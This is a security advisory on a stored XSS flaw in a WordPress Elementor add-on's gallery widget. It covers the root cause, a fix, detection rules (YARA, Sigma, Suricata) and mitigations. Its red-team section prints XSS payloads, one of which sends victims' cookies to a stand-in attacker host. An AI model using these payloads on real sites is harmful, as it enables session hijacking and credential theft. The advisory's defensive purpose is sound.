CVE-2024-13644

Executive Summary

CVE-2024-13644 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the DethemeKit For Elementor plugin for WordPress, affecting all versions up to and including 2.1.8. The flaw resides in the plugin's "De Gallery" widget, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least contributor-level access to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious widget, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Requires contributor-level access or higher.
• User Interaction (UI): Required – A user must visit the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the prevalence of WordPress and the plugin's user base make this a significant risk for sites with untrusted contributors.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress ecosystem. The DethemeKit For Elementor plugin provides a "De Gallery" widget that allows users to display image galleries. The widget accepts user-supplied attributes (e.g., caption, title, alt text) that are rendered directly into the HTML output without proper sanitization or escaping.

Root Cause:

• The plugin uses echo $attribute; or similar constructs without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().
• An attacker with contributor-level access can create or edit a post/page, add the De Gallery widget, and inject malicious JavaScript into an attribute field (e.g., onmouseover="alert(1)" or <script>alert(1)</script>).
• When the page is saved and viewed by another user (including admins), the script executes in their browser context.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Creates a new post or edits an existing one.
3. Adds the De Gallery widget via Elementor.
4. Injects XSS payload into an attribute (e.g., caption).
5. Publishes or saves the post.
6. Victim (admin, editor, or visitor) views the page.
7. Malicious script executes, potentially stealing cookies, redirecting to phishing sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (Conceptual):

// In widget render method
echo '<div class="de-gallery-item" data-caption="' . $settings['caption'] . '">';

Patched Code (Expected):

// Properly escape output
echo '<div class="de-gallery-item" data-caption="' . esc_attr($settings['caption']) . '">';

The fix would involve applying esc_attr() for HTML attributes and esc_html() for text content, or using wp_kses_post() for rich text fields.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with DethemeKit For Elementor <= 2.1.8.
• Contributor-level account or higher.

Steps:

1. Log in as a contributor.
2. Create a new post and add the De Gallery widget.
3. In the widget settings, inject a payload into a text field (e.g., Caption):

   " onmouseover="alert(document.cookie)
   

   Or a more stealthy payload:

   <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
   

4. Save and publish the post.
5. Send the post URL to the victim.

Expected Result: When the victim hovers over the gallery item (or the page loads), the script executes.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual widget attribute values in post revisions.
• Look for patterns like onerror=, onmouseover=, <script> in post content.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.

Prevention:

• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a WordPress security plugin that scans for malicious content.

Indicators of Compromise (IOCs)

• File System:
  • Modified post content in wp_posts table containing <script> tags or event handlers.
  • Suspicious entries in wp_postmeta for the De Gallery widget.
• Network:
  • Outbound connections to attacker-controlled domains from the WordPress server.
  • HTTP requests containing XSS payloads in POST data.
• Logs:
  • Unusual user agent strings or referrers in access logs.
  • Repeated edits by the same user on multiple posts.

Detection Engineering

YARA Rule

rule detect_cve_2024_13644_xss {
    meta:
        description = "Detects stored XSS payloads targeting DethemeKit For Elementor De Gallery widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13644"
    strings:
        $xss1 = /on\w+\s*=\s*["'][^"']*["']/ nocase
        $xss2 = /<script[^>]*>.*?<\/script>/is
        $xss3 = /javascript\s*:/ nocase
        $widget = "de-gallery"
    condition:
        $widget and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: DethemeKit For Elementor Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via De Gallery widget attributes
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13644
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains|all:
            - "de-gallery"
            - "on"
            - "="
    condition: selection
falsepositives:
    - Legitimate use of event handlers in widget settings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13644 DethemeKit For Elementor Stored XSS"; flow:to_server,established; content:"de-gallery"; http_client_body; pcre:"/(on\w+\s*=\s*[\x22\x27][^\x22\x27]*[\x22\x27]|<script[^>]*>.*?<\/script>)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict contributor-level access to only trusted users.
3. Review all posts created by contributors for suspicious content.
4. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-term Fix:

• The vendor must release a patched version (2.1.9 or later) that properly escapes output in the De Gallery widget.
• Apply the fix as soon as it becomes available.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence, Sucuri) to add virtual patching.
• Manually edit the plugin files to add escaping functions (not recommended for non-developers).

Valters IT